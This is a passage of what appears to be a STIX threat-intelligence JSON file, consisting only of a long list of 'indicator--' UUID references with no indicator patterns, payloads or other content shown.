        "indicator--b1bde58f-cb2a-4e2c-b153-267b2bf1adb6",
        "indicator--9d2c9855-6a62-4302-93cf-abc33d9dc084",
        "indicator--b703686f-6045-42a3-9768-05fd7e70f41f",
        "indicator--7db6d889-ff4f-4a2d-b7c7-f53239018e98",
        "indicator--b6c7f5b0-3e44-417c-b782-585916a49ec5",
        "indicator--ee7390f1-2d6f-48db-ba2e-4cdc3443a850",
        "indicator--b4010d45-2382-4373-aebd-56acd7595b5e",
        "indicator--116f39b1-e15d-466b-9ead-ce57bdf8c45f",
        "indicator--7cb5353c-4c8e-4636-9ead-baa4a9a0ee3c",
        "indicator--b7c3758d-246f-481a-8a21-533e1984567f",
        "indicator--d66e675c-907a-4cee-8c0b-abeb3655acd7",
        "indicator--88fc7343-668f-41c7-8f4e-bf650288c731",
        "indicator--daa72ec1-cd8f-4fca-80be-4d9e4abf3bb6",
        "indicator--28af8f2d-8b2a-43df-8514-83134d726c14",
        "indicator--dc0be98f-2805-4797-981d-7fb6cf3e2caf",
        "indicator--a2afb1de-f5c0-4f76-b29b-fde58b71d10d",
        "indicator--668be058-20d7-49f2-9586-e995640dc2a2",
        "indicator--7197e3c9-6d86-4557-97dc-209046f63de0",
        "indicator--0737902e-3127-41c6-bb9b-c02e1ac1be3e",
        "indicator--0d0ab901-85b2-4993-ada6-28ff11621ab2",
        "indicator--bc8d9073-6156-460b-bd9b-2b243a782285",
        "indicator--a027d431-d4c6-4e83-8177-115af7b51c38",
        "indicator--5aedaa64-dd9b-4f63-8153-4844aa31469a",
        "indicator--48f55c1f-4455-498c-a245-3be717433ba1",
        "indicator--5e95e4a8-407b-4b15-b44e-0ae19016ca46",
        "indicator--218a74b8-68bd-422e-bfb2-aa14d4320707",
        "indicator--bab43b96-edf9-4dd0-915b-1b75d7fa7534",
        "indicator--42fae7b3-3c29-47fe-a23a-6ce808218cb4",
        "indicator--8672dfd1-460e-4783-8f08-5c45b56beed2",
        "indicator--16b33905-87b2-4418-994b-958fd450c8a7",
        "indicator--65df5440-9582-40f4-a9ab-594148936c8e",
        "indicator--1583c68d-a25d-47eb-8a03-39b7e69b70c1",
        "indicator--19d15055-cce8-4002-8a58-bd60dccd7195",
        "indicator--a2b9b1ff-b3a7-4bc9-a1f9-82f4f2a47b35",
        "indicator--bcb320f5-6eb2-4ee9-a1f2-a1aca576a435",
        "indicator--af7acd68-8a23-4181-aec5-e0bff9a20911",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--49c883b7-7be3-463e-a8ea-872e1d6f3153",
        "indicator--0bbf64fe-b1a5-489c-bbba-ce2517e06c71",
        "indicator--a322ef30-feda-4199-8513-67a655a7d02d",
        "indicator--41526b86-07b0-4349-b1ce-2aa572cdd5ec",
        "indicator--b97a1c91-afb8-4af3-8c6d-d688e62fe25a",
        "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
        "indicator--beae837f-4e26-401e-badd-e14146ba380e",
        "indicator--f0270bf7-4c9d-4f8d-9f81-8dcbba1abf81",
        "indicator--3ac75622-a5c5-40a1-a1c3-89433e2ed593",
        "indicator--bf9d570a-3e9c-4f3c-b0b2-b676bdb9adef",
        "indicator--283b93ae-f32b-4948-ba8a-b18ed6899696",
        "indicator--b91eaaee-003e-4246-acac-329b5ee5a676",
        "indicator--18c73ae4-747e-497d-a13f-ef25a7239e75",
        "indicator--ecbc2243-9347-4343-a264-7753bd4c6028",
        "indicator--ed0d134c-efff-4884-a129-6b93088d8096",
        "indicator--e32eaeae-22d3-49cd-b8fc-e247f71c5183",
        "indicator--4acb1194-c04e-4f2a-b46b-428049a3964c",
        "indicator--abb0fdf3-3af2-4e38-bd95-1ae69812fe0c",
        "indicator--eaa4cd3a-8546-47de-857a-7382b78cdd51",
        "indicator--81bc0600-0bb0-4ef3-b47b-6451f4e1a303",
        "indicator--420af18b-a315-45e7-9249-3e0f5f0b7c46",
        "indicator--30910eae-c625-403f-94d7-a40e77ee490b",
        "indicator--ceaa87a1-f27c-4604-a428-aa2ab0fbbadf",
        "indicator--ede5ea3f-5d23-43f4-9fab-e776a6ac9c5a",
        "indicator--ff010fc3-4d31-43e1-a4dc-04de3e66389b",
        "indicator--262fcb4f-95dc-459d-a26a-2be71001a19c",
        "indicator--564f59a9-7c5b-4aa0-aa24-7cd8b8434563",
        "indicator--e243219f-15cd-4572-a020-488eab09a1de",
        "indicator--01f6f2b8-9753-4ced-afc5-98bc15aaadb6",
        "indicator--a3510042-86c7-4149-b3bb-b6a5b8bad770",
        "indicator--efa2ca1d-91f9-4634-b9b4-25e6d776ed6e",
        "indicator--811fd50c-54eb-4ce2-b051-db09f15a2a75",
        "indicator--905b92ea-820a-43f0-8660-4d920a7f7016",
        "indicator--bf2059f9-d8cb-4128-82e4-d3d60dfd11da",
        "indicator--807387ef-65a1-4cc7-89b4-85913e64a501",
        "indicator--f416799a-2355-46cd-a3d3-3a1af52e882f",
        "indicator--8efafe0e-49ca-4050-a4d8-5e46cd5a7ea3",
        "indicator--058962c5-761c-42f6-a512-5b8b263e7a02",
        "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
        "indicator--ae7d344a-676a-4714-bff9-24e6e45b1f60",
        "indicator--f25dda3c-06bc-4d7d-8cef-8c669a6f388e",
        "indicator--e5fe0afa-7e82-4bd3-a11c-c7cd2d299fa2",
        "indicator--a38ad7f7-b5d8-46da-a131-13a169541446",
        "indicator--eba0347e-7715-4700-95e3-d38fe372fcca",
        "indicator--b0666fb1-05b9-4540-9843-2589829619e2",
        "indicator--556adabd-fd78-425c-bddc-8d215ec88041",
        "indicator--52f98f77-c9a7-46f5-a95a-aeebd07487a2",
        "indicator--8a46a668-8927-425b-b302-0471e9040cd0",
        "indicator--f2535b87-3d7b-4911-b77e-157588c50a26",
        "indicator--87eb1660-1452-4997-b35a-df6b910703d4",
        "indicator--f00bf8c4-168a-4841-b1c0-d5bf95a0429f",
        "indicator--152a2668-c694-4afb-9b2d-9ea1f9bcf1fb",
        "indicator--96640f27-bd40-4663-b1f3-124e2beb341c",
        "indicator--7f868741-3175-4bf2-a70d-c05b14734af5",
        "indicator--582cdb98-9b57-494c-a280-9da846db36c7",
        "indicator--f7922c8e-6c7c-4b66-b551-8869fd3b10de",
        "indicator--b70e03c9-af70-45c2-a8bd-ab2f8ad89ada",
        "indicator--36e0aec5-e181-4223-b54f-8b9213dec547",
        "indicator--fdfe59ae-d35c-4507-8e82-0e71bf6bf327",
        "indicator--f862750a-1364-4ac3-8d4a-d0cb0fca9f7d",
        "indicator--f37c77f8-1ce2-4c47-a2c5-6b4f3341e13a",
        "indicator--974b7c0f-d78a-4ff0-832b-5245c5095438",
        "indicator--3f851bec-3bcd-40a6-a634-155970c84a51",
        "indicator--be403c72-c3fe-45ef-897b-471a24013e5a",
        "indicator--4e8ec5ee-20b9-4f65-a6c5-98c50dc0b8f4",
        "indicator--d946a5c3-8629-4c40-9d82-0c1b56c04dc0",
        "indicator--a2286a3d-dc47-484f-a677-9fcba1d5c9cd",
        "indicator--abc5b46f-2072-4cb1-aa9a-706bca0c4f9b",
        "indicator--dd65327f-898f-4d63-8356-8a3dbe59cafa",
        "indicator--c6924992-6218-48f4-add4-ffbfcc841134",
        "indicator--260e3f23-05c1-4e33-8eb3-d8c539879952",
        "indicator--756f5bff-628a-48fe-85cb-2240ff6d085c",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--6923e2d0-fefd-4234-af9f-8ec877919972",
        "indicator--e7193260-2feb-4c5e-af96-61963f4d4193",
        "indicator--68161927-adcf-410e-888e-e32c7c1d1187",
        "indicator--87dff3d9-9f7c-4b85-a033-33b7f1d0a1f8",
        "indicator--bcd951f9-0187-4713-8d6a-c0bb6f3d598a",
        "indicator--c106da30-46c3-4f42-a69c-7df53a60f582",
        "indicator--3a4c4079-183d-41c2-a853-c82ea410dac5",
        "indicator--bdf235db-4418-44f7-9a99-7ecc3557bc2c",
        "indicator--df3cbf26-76d6-4f3e-b532-4fd393436790",
        "indicator--c9505ccd-2729-468c-b079-3e997ed5a662",
        "indicator--9fa37e43-d99d-4d0a-96ca-67fc8b193db0",
        "indicator--3a145b4a-c04b-4caa-9de4-e0aab1d24b77",
        "indicator--f0c3d271-ba10-4446-a4cc-fb77b71b949e",
        "indicator--34cfadbf-9440-4ef6-99af-697c21c42abf",
        "indicator--97de74e0-0271-41c7-a7a5-1a39c66ddfd1",
        "indicator--717e1728-9be5-4fce-941a-156ac2de733b",
        "indicator--0ddaa3df-fbe2-4a82-9afa-51e7196d5cff",
        "indicator--5d87b92f-ca42-4cba-8fa0-56f00d9ed47b",
        "indicator--0262587c-8e56-4108-af02-3878f8e2e48f",
        "indicator--11fd7d52-bb43-412a-b042-98bc9f158423",
        "indicator--512b5a97-0f26-4f10-b2ba-3adb35682b42",
        "indicator--36fc5d49-183e-46cd-9c51-cffff0e32cd5",
        "indicator--16a1060e-8c87-4579-ab35-ffd395ff33b2",
        "indicator--d402e1de-aa2a-4766-b16a-fedb2fa04112",
        "indicator--68cd173c-d5bb-4bb2-846c-ab75b5ca3d5e",
        "indicator--8b70edaa-e0b8-4a51-acfb-d9dc5d1575e8",
        "indicator--57f8f3fe-0d1d-448c-a806-db82d076db25",
        "indicator--8f3c0ca4-cd31-465f-b64f-c232aa539550",
        "indicator--74699c43-bc44-4410-8f04-6901451dcd3c",
        "indicator--21f1da83-39ba-4fb4-b5fd-3a28aa0d634e",
        "indicator--ea304697-f7fb-42da-9876-c4a7f3cc9a2c",
        "indicator--5dcc94e8-4e08-448c-a171-f5a7d1e85b82",
        "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
        "indicator--63227d6d-651d-4ec4-b758-f9d14900b01e",
        "indicator--1b88d5da-be35-4254-b963-1068980097a8",
        "indicator--193d1601-8a00-4594-8224-372a92d0100b",
        "indicator--f4f1dbb9-800b-4c10-a63c-71360bbd6a8b",
        "indicator--6373de92-0ad5-47a2-ba30-fffda076fa13",
        "indicator--f467f94f-c66f-4600-aac8-02b594aba8f4",
        "indicator--73f3ccdb-bad9-48b1-9ad5-4ae03f21bb1a",
        "indicator--0761fdb9-33e8-44f3-a3fa-6dde66179f6b",
        "indicator--cb921aff-e821-41e6-9e39-c7b2d470aa8e",
        "indicator--b2a55abe-acb7-47f4-9708-b82d9fb65095",
        "indicator--fd6964df-8f20-415f-beee-1c9fb8d3db17",
        "indicator--7ace8815-22cb-487a-852d-4f8900f1543d",
        "indicator--94c8ec09-c474-4e0f-bb96-26b3e06d05f8",
        "indicator--86d4e82a-acc5-43fa-9ee5-f18680d100b7",
        "indicator--3bd17315-9b0f-481f-9665-63c1221a806f",
        "indicator--cf7413d8-e384-4a95-9092-da13bb980fbe",
        "indicator--b66c7421-82eb-4810-8140-0c3cd65be6a6",
        "indicator--dd1fd78d-289a-4a26-8f97-7c39ae8b4cee",
        "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
        "indicator--95753017-8cf6-420e-9a0d-14550fb7e750",
        "indicator--309e33c8-b8a7-4489-a8c9-7889dd286f5f",
        "indicator--262f1ab7-2020-45c0-a958-00928c58f796",
        "indicator--b20a63c8-4a72-4f79-994c-4abd52aa5a3e",
        "indicator--273285b0-ee87-4922-968a-5bb4a2cd8c1b",
        "indicator--ace63da4-8c41-4867-94ee-3300e06fde5b",
        "indicator--a1528387-82fe-492b-ab7c-58fe9c675901",
        "indicator--ece98fba-3fc3-4ab9-895e-7a71aad9428e",
        "indicator--fb55a3bd-71df-4208-ad56-e0ff3f6fd82d",
        "indicator--ee781f97-7e84-4834-a1b6-c6878c6effa0",
        "indicator--280615a6-f0ae-4a07-9749-d68f71d8ead4",
        "indicator--cc0f144f-d7de-49ad-9a78-1300d1b9e61f",
        "indicator--e470641a-f980-4835-8f31-01614e8d0e0d",
        "indicator--c2c7a09b-57d4-42b3-9c4f-213a0233a576",
        "indicator--b3a5ba23-351c-4f74-91cb-2fee8801488b",
        "indicator--a1c72667-2ba4-49ef-8f28-689ece36cebe",
        "indicator--9ccbd60f-3563-4ce8-b004-1dce21356558",
        "indicator--912c92d0-b75f-4213-b677-fd7bee52ec1e",
        "indicator--ce8022fb-9848-4c47-a7f1-3b76f26bd893",
        "indicator--61c62b17-ec4f-4e87-bb0c-d0ab0a8bae03",
        "indicator--13a7d5d3-fb77-453b-92b0-db9132a7df91",
        "indicator--9178c9b1-5226-46a5-8c1c-91e760c1b457",
        "indicator--0fad99e2-de8b-40c2-87e3-1c2601d23376",
        "indicator--0a39860e-14b8-4fc1-89b4-0db8e6bd757c",
        "indicator--e703f212-ed28-46d1-9e63-5785bc527361",
        "indicator--ff6da5c7-d607-46fa-885b-276484f3f1bb",
        "indicator--1392ce25-4e0c-4cc6-9c6f-96b457c4cc79",
        "indicator--3c694678-248f-43f0-8ab3-1d24bd6606af",
        "indicator--ac973c4c-cabe-433f-98f6-54fdec5ef7df",
        "indicator--28058814-57c6-457f-8541-307817ee7d0d",
        "indicator--d332ae04-e0f0-48c8-9da5-163164a1ee04",
        "indicator--7b8fa953-5915-470d-981f-34a3e7d4b1ff",
        "indicator--5ec481a3-2d27-49ef-8369-eb028c357a10",
        "indicator--f4a2986d-19a0-4f23-901a-2611fa895ccc",
        "indicator--b6db50b4-4995-4dec-aa8a-38d8e1102707",
        "indicator--688ad4f0-2c8b-464a-855c-4d2d4c8d49d0",
        "indicator--0dcbd5a3-708d-48bd-841d-4992cf6b8813",
        "indicator--54e80900-295b-4942-a401-1c39ce9f5498",
        "indicator--137c684e-83b2-4a16-ab58-24db46c989ee",
        "indicator--b6e35d7a-9a62-423f-b4c5-318756cc1f03",
        "indicator--239cd99a-89ce-4e54-9ad5-073338f4068e",
        "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
        "indicator--1ca512fd-2bdd-4c02-96fa-736be9d7f3ac",
        "indicator--91d5d90c-239e-4a0b-b6a9-c0492c66bcaa",
        "indicator--035641ff-94e1-470a-8f78-0363e2c2799a",
        "indicator--80640e4c-f08c-45e4-bf7d-87f479fc97e0",
        "indicator--d42b40e5-b268-4c78-a669-1aa6ad8daf44",
        "indicator--4ffec4b0-8e48-42a6-817a-a1ab0fb92059",
        "indicator--075b5580-d6f2-41db-8124-350dd98ccd7a",
        "indicator--4930d861-e2a5-48f8-9873-64f6a552345f",
        "indicator--afbf68f9-c290-4f19-8e84-6ec603215998",
        "indicator--833f95f0-3a64-4967-acb1-887a8fda7a8b",
        "indicator--1b3420a6-0467-40c6-922a-8988a02db894",
        "indicator--bd29b276-7b8b-4550-8b66-eb6c843f862f",
        "indicator--5af88328-42d5-4abc-8f3c-a497195be665",
        "indicator--6af144f4-7d05-4061-ae1e-6a0a4d810642",
        "indicator--0f3931ed-21d5-474d-a4ac-3730e6ca8690",
        "indicator--c98c6cd2-8687-4ae2-8872-a3b1d5026a19",
        "indicator--5aeeb6ee-f320-489f-bacf-a84050b23f3e",
        "indicator--bbdb1c7f-2eb2-4098-b141-98812fe2ef01",
        "indicator--e591585e-97be-4999-858d-b4f1c2b0f03b",
        "indicator--f2fd7a42-da08-4dd1-b64a-91147554513a",
        "indicator--3ba52d10-cd90-4cb9-a1cb-b7585f9d1e9b",
        "indicator--3c8822b2-ab94-44ab-9d5f-7bd0b0ab6e4d",
        "indicator--a8c49037-efe2-47af-8c90-e6b3b76fecf9",
        "indicator--e4245b76-3f34-4a26-bccc-2c63a2679fb0",
        "indicator--3e8a3808-9f98-4c1d-a489-a0ebd74fbf35",
        "indicator--b1ff95c8-21d2-4443-86ba-7e8db3507533",
        "indicator--ee19cf48-9335-4855-bfe8-85ca4d451281",
        "indicator--49291dab-9613-4f9e-b6fb-14c50e3e9bbb",
        "indicator--b3474a6b-1d7e-40f9-9b12-c6fdfb014ce6",
        "indicator--578818e4-9118-4eda-bfae-b07fbabbf3c2",
        "indicator--768a84d4-5019-4bc2-aeef-884be38ba87a",
        "indicator--957ccfc9-e0d4-45c4-92a2-78f3e713206e",
        "indicator--404eab04-7313-4f23-835c-ce04cc594e81",
        "indicator--07a259d8-02bc-4eb6-a799-db9583de225a",
        "indicator--82f1faee-7309-4fa0-a206-6a4325797e63",
        "indicator--6532225b-555a-4664-a1e0-6302f54b58d2",
        "indicator--d8b7e64a-7120-4940-9257-88e108c9472a",
        "indicator--99c4c42a-0676-41d9-825f-fb875019e1c1",
        "indicator--d69c5b75-c802-46b0-8a75-a0a8f8c78214",
        "indicator--8466c6e8-5ac2-4c26-aa98-6df2f96b775f",
        "indicator--81e7618b-b860-4a4b-883f-83dd70614a37",
        "indicator--2f02bead-c166-4348-9c09-bf83502539e5",
        "indicator--e2e4e6fe-8768-417a-9b47-759b55cc0653",
        "indicator--094db119-6823-4d13-b8f7-538745e5f668",
        "indicator--54c155a2-acfb-4dc8-846a-218b7f465a7c",
        "indicator--2821a7cb-4f16-4756-bf38-03d70c6d0d3b",
        "indicator--7779aa5e-2007-4f12-980e-4de40f4b8bf4",
        "indicator--7a218734-49e2-4995-9d6c-bd7d71238bf9",
        "indicator--a981858d-e853-4e88-b1a3-59ba316d5c44",
        "indicator--270609ff-d6a3-434c-89a9-165b42e36108",
        "indicator--ddcbf728-4157-403b-8fa9-c018e7967046",
        "indicator--d5163d18-3a61-45a2-9694-79413c5f73b5",
        "indicator--e6fcb651-1f8b-422f-90c5-e7f088883cda",
        "indicator--1c4ba266-37e6-4e53-b8fe-6711dbbd5e65",
        "indicator--9f088caf-0664-4c21-b557-a7cb50fd5d2f",
        "indicator--9f6f7d52-efb7-40b3-adc7-b9b4653fb75a",
        "indicator--b4023911-48f6-40cd-928e-f3d141e8e1e3",
        "indicator--1ad3408c-cca4-4a99-9410-722c58299f45",
        "indicator--df8977a8-e6f6-4b19-9196-a4e57adfcd1c",
        "indicator--5d84105c-9a57-4216-b640-9e3a396cbb69",
        "indicator--8bcb045e-4d73-47bb-ac03-ee516ca30e28",
        "indicator--e05bec8f-78dc-4898-b0d9-90b9e5288f8a",
        "indicator--b2616eb9-cd0b-4ab4-ac02-2b4ff8326586",
        "indicator--6c166492-8271-4b04-816d-4587efbc9e3b",
        "indicator--2fbcaa40-45bb-4e6d-a409-70814eeab526",
        "indicator--ab7b639a-60ad-488a-a7af-05d73cb396bf",
        "indicator--478b0874-499d-447a-ac19-17f5407f9ea4",
        "indicator--4cc38787-1e14-467e-b52a-a8c00b88cf46",
        "indicator--0c1cf200-0fd3-4350-ae6a-1acdec9248b4",
        "indicator--6a86b294-fa80-4b99-b772-1fcef3e6ada9",
        "indicator--a4d58e8a-0b5f-4cac-896b-ba3287e2dd33",
        "indicator--0d96850c-abb1-4eeb-9920-37bd249faf68",
        "indicator--4aa107cc-1ce5-481b-acca-d2548eade58b",
        "indicator--46cfa182-ca96-492c-9622-b92107168d34",
        "indicator--cf71f66c-8a57-45d5-bdfb-e481a7c6460f",
        "indicator--ca6d2b01-38db-45d2-8a20-5f54489af2b8",
        "indicator--4b8ec293-8d1b-4b26-917c-2011e735d959",
        "indicator--7d51d047-23ff-48ec-a076-fb7491852efa",
        "indicator--16db9f43-bcb7-47d8-8f00-3b82b8472255",
        "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
        "indicator--d1e9ac57-a12f-4985-ad67-150dd553919b",
        "indicator--16d19770-aba5-4d02-a1c5-66b26bf62b85",
        "indicator--00b7b6ef-ff65-4c3b-a869-360c5b1548b5",
        "indicator--8ca71a13-4b9d-479b-9f3f-b345878943a3",
        "indicator--492c01ad-5305-4040-8402-e91b55a34181",
        "indicator--aec11cd9-dc28-438a-a35b-3b1523a62368",
        "indicator--4ffc0ea1-5553-4a0a-8983-7d7e0e8bb51b",
        "indicator--ee5d766c-69ed-4af6-88f5-de655ceb7a56",
        "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
        "indicator--e9328927-6e59-4950-ba68-49f11f770b7c",
        "indicator--b160b05f-0939-4fc1-90fc-9eb75760a9be",
        "indicator--872b8798-d504-422b-994b-03a0eb8c9d43",
        "indicator--c956f52a-e6b7-47ec-a72b-83e093affb60",
        "indicator--9bafa1b0-939a-4757-b143-9710d4008399",
        "indicator--6671a5d7-436c-4b21-8356-b5ff4819dcb8",
        "indicator--9d893149-ec6b-4c91-b334-8294f542f536",
        "indicator--397519b9-301a-417f-993c-1108ef248162",
        "indicator--9efb74f7-3937-418f-95c0-30e3a63641ea",
        "indicator--d2fe4b4a-9fc7-479d-82dd-855181f648b2",
        "indicator--7207e8b3-9c78-41f6-849c-32232c175879",
        "indicator--f74002a1-4d2a-4072-a637-72dc27fbd66d",
        "indicator--9d11338a-9fc9-4d0b-b038-6137065cabbf",
        "indicator--6b5f09de-0270-4ca5-a3ad-424d82706ea4",
        "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
        "indicator--c048b34c-fb7d-42c2-bde6-bc547827af28",
        "indicator--292026c4-025d-4712-afa0-78abb3bb0961",
        "indicator--14602ac8-28fb-49fc-8f65-adc8671a7245",
        "indicator--63c61427-5a5f-4028-8f9f-dd651b3be410",
        "indicator--32198403-abc6-43ed-8ddd-eb62d9f43890",
        "indicator--01adf905-e1fa-43b8-bb2a-32af2e73a8d6",
        "indicator--896b57f7-44bf-4f18-9529-d6ba959a8fc5",
        "indicator--13f6e099-a74f-496e-bea3-9aec0361762a",
        "indicator--708a98be-2ff9-46de-83ff-b9e534a6a587",
        "indicator--578581f3-6008-4d2d-b1f7-6b81f040619b",
        "indicator--6b57b974-65ce-40c1-9b01-0b33ce04a03d",
        "indicator--ae7922ce-bb6f-49f7-9bc6-13dabec75639",
        "indicator--7e9b58af-da61-4c15-9fc3-0d41499a92be",
        "indicator--32bc39e4-6acf-42ea-a1eb-03c159679a7b",
        "indicator--f95c6ff4-7a30-40ec-a957-251d842127f5",
        "indicator--edf347cb-28f9-4a4b-894d-aca783b280a7",
        "indicator--ced14811-0729-48f2-9e14-62dd4d5b2d64",
        "indicator--baed383c-5812-4308-8559-8117fa2252ae",
        "indicator--ed95b237-85ea-44b2-b9db-ed239e050b58",
        "indicator--f394cb1f-5147-45d1-8623-0d8c140f8301",
        "indicator--513d4f3c-63b1-4d2d-87b0-6f4d2e16fdb4",
        "indicator--d78b36ef-0375-4f30-94c0-d6b82d59e4c0",
        "indicator--c711b74c-e709-4d17-b686-0c28aa0536a4",
        "indicator--32980304-e317-4a02-ae83-24d478f8fc13",
        "indicator--d9b5c74f-09c6-4b4e-b6e5-672c57f8d71b",
        "indicator--223d7662-a705-4724-8f54-3ffc4a755c98",
        "indicator--97ade60a-c4a6-4f26-a153-b0d3e108ad29",
        "indicator--1d2a08a1-f500-49fa-8703-92091fb06cee",
        "indicator--16b41705-d8c9-4dc3-958b-5f201c2e1773",
        "indicator--760e7ffc-6730-4b3e-80e6-44b996088af9",
        "indicator--3d37761a-bb91-4a2b-9dbe-ad63a02fc3cf",
        "indicator--3566722b-b475-4587-99f8-45ee2a3dd887",
        "indicator--91d859e7-01b5-430b-a6ce-d5a624b3b1f0",
        "indicator--54ae8f8a-9ae6-4b74-b3f4-27376217cbbd",
        "indicator--961a9d63-fbae-492b-b2ee-942dcd45d1e9",
        "indicator--615b2bfa-b38f-4d9b-b491-bd0ebb1f0e9f",
        "indicator--32bca3e1-1cf8-4bae-a2b3-dc0495bfd091",
        "indicator--4be54399-ad85-4a43-b7e7-f274236fb0ff",
        "indicator--c823ac1e-c888-43cd-8807-d4555d13b02f",
        "indicator--b5997d13-1690-48d3-b50a-640200ba4591",
        "indicator--addd8dba-053c-4e4c-b220-5d5e43215ea3",
        "indicator--5a73c0f3-04e4-4a90-81cf-d831970be20c",
        "indicator--adb1e322-071e-432b-8340-fc9f279e46ae",
        "indicator--c0c5000f-cbe7-4a0e-b92f-607fe8a6d38c",
        "indicator--68d73578-a34b-4702-ac78-46ac63773851",
        "indicator--1dba293d-5edd-4e90-8a76-9413ac120c44",
        "indicator--74182f14-ca42-428f-ad28-63299ea617dc",
        "indicator--2e29b4c0-8c6d-4d06-9e57-5d3dfdbc2778",
        "indicator--08977e70-fd66-44f0-9d79-f805fc7f2a74",
        "indicator--ac81ef9d-94ca-467d-84a1-b9187c89d66d",
        "indicator--34a05059-f1b9-49d4-a68a-00157fc454c7",
        "indicator--5c703fac-8054-43da-8e7d-f9124b9a5d09",
        "indicator--beabf8fb-007b-417a-b756-2fb9df0cef06",
        "indicator--16147859-1553-4524-b99a-e96b70af05ee",
        "indicator--b0c26694-435e-4912-bc1c-9f82f40c949f",
        "indicator--0b357791-2cdb-4672-a8ea-14b17af27d9d",
        "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
        "indicator--60f781db-e6c0-46c0-83ba-bd5d66546515",
        "indicator--9027d550-2e8c-45c7-9691-6427fdb7fb78",
        "indicator--9b580e11-4fd3-4621-a916-9b6de3de3beb",
        "indicator--752552e6-ba26-44e4-a6e1-58ee36e3ab83",
        "indicator--17736b36-8de0-4c4d-8370-6ef253b76c8a",
        "indicator--59e11966-28fe-42de-9a19-03b81066df88",
        "indicator--932daaa4-46f0-4b67-a8fc-a485031ded37",
        "indicator--e01f85b4-ea25-4be5-b217-1c324b002296",
        "indicator--a736491e-7547-42ce-8038-8ca8e9eb037f",
        "indicator--a2440706-7366-428e-85ba-535bc5cbf8a3",
        "indicator--9f5f1b51-7f2e-44a5-8433-59c3a3f9791c",
        "indicator--a44e91a1-fd03-4c8a-824f-c582c6f56b35",
        "indicator--ac8b78a5-79dd-4be4-9d76-a522e205ef1d",
        "indicator--34d9d6e7-18fb-4eb4-8e51-6f19ae0add23",
        "indicator--e018dfec-b027-4743-a815-47c8aa1bf577",
        "indicator--fcafcee8-bcc6-4b69-b045-2977f9827002",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--c6e4eab4-bc12-4f81-849a-baac4f310d28",
        "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
        "indicator--86561011-f9a6-499c-a7b6-5e3f64268b0c",
        "indicator--8d7fa0a3-e9f5-4f1d-8c6b-aff2d7fb94e6",
        "indicator--6dc0421d-bb36-4677-b57e-54b46c086c3f",
        "indicator--a7d76116-9459-4429-b607-db1493e29290",
        "indicator--6316b416-80de-47b0-bb69-1922f84a83c0",
        "indicator--b1bb4fa0-5110-4e1e-aa98-580edde88b6d",
        "indicator--6c8b9953-398e-4bb5-9d93-16324babd267",
        "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
        "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
        "indicator--adc0249e-06a9-4ee4-a503-98d700718123",
        "indicator--1e46d514-e9fd-4dae-bce7-7db6e7676052",
        "indicator--e3df89b3-730f-45d5-80a4-44cc7002e52a",
        "indicator--6904a37a-3bef-4f36-8385-8c3aa25231fb",
        "indicator--8bcf3099-0262-4bad-9b3b-3f2a70a70d7f",
        "indicator--4e87f640-017c-403d-a198-7a8f77e91c04",
        "indicator--e7e7cccc-4e90-4733-af82-467213227e95",
        "indicator--084af8b5-87db-4526-9543-1ed98cd24138",
        "indicator--0a2d52e6-2bc1-47df-b858-3634134c462d",
        "indicator--ecd7353b-a39b-4607-9ed1-7f93782018df",
        "indicator--8bbc1357-4dcf-4969-ad40-02373370443b",
        "indicator--396a8123-1a97-4ee2-a3b8-9db38681b1f0",
        "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
        "indicator--e226713a-1efc-48b1-9330-092ce5785ed6",
        "indicator--65d37416-317c-4a06-862f-bb9b4fad4a8a",
        "indicator--f984683b-ad8c-4f13-b7a3-c0f0e98265ff",
        "indicator--80cfe97e-b8ea-421a-9126-72eb2025ecd4",
        "indicator--0e877365-7703-4e9d-8d15-fb1759ce76be",
        "indicator--bc9a4cb2-b51d-48d3-9aad-afbc95814a6b",
        "indicator--62b1434c-018f-4d6c-99d3-56118b1181e0",
        "indicator--cae7d8eb-447c-44d9-b877-f290dd97583e",
        "indicator--4f80c9f5-ba2b-4766-832d-3f7a8b3e1e6f",
        "indicator--c154c172-6bf8-4b0c-ab0f-73726e304a85",
        "indicator--be76d8ee-d180-4090-b2c1-940d5eb125a8",
        "indicator--c04cc2f8-6d4e-4795-bb61-392ff65ad2ee",
        "indicator--7e75437f-0ad5-4364-9e9b-31c96c046457",
        "indicator--5270220e-1fa0-4ff5-a496-aebe0c965d3e",
        "indicator--56646435-cee5-4a0f-b369-c1454addc2b1",
        "indicator--73638f77-18e6-44bb-8af2-3a0501f81c41",
        "indicator--67effad2-39df-4a83-854c-329282b9302f",
        "indicator--4de6387b-6010-44c2-880f-7a93c263c476",
        "indicator--f6a2f16e-9b90-4abe-91ef-f1c114aabdbd",
        "indicator--f90a016f-84d2-464b-a548-fcb15ff6c13c",
        "indicator--eee22484-4982-4ce1-ba78-e81d397de20e",
        "indicator--be6be1aa-24d1-4770-a71c-a52b21cd0b79",
        "indicator--ac11e9a7-26b0-4f18-8638-8610e1407495",
        "indicator--2e941b32-d251-4b84-a29e-b3198a132e62",
        "indicator--2ecb1c35-cf00-4dd5-bb90-c999123e3029",
        "indicator--f535a264-e7d4-42b6-9362-bf8898bf2498",
        "indicator--2cf89c85-9cb5-46c9-8409-663612081499",
        "indicator--81cf4e1d-411d-440f-a03a-c7c3c23af97b",
        "indicator--21d5c6e2-60d4-459c-a3d5-c7c5ceb74775",
        "indicator--c0423207-c9ae-46d4-b92c-710146027262",
        "indicator--334c799b-1b26-43b3-9e62-c27f4008337f",
        "indicator--d9379428-373d-4dcd-a54f-7712bc0c53fa",
        "indicator--c8a27ed9-8743-4eda-9ca9-d6033ca9de1b",
        "indicator--d2f9aff3-86c8-404d-9400-a8f568316b4d",
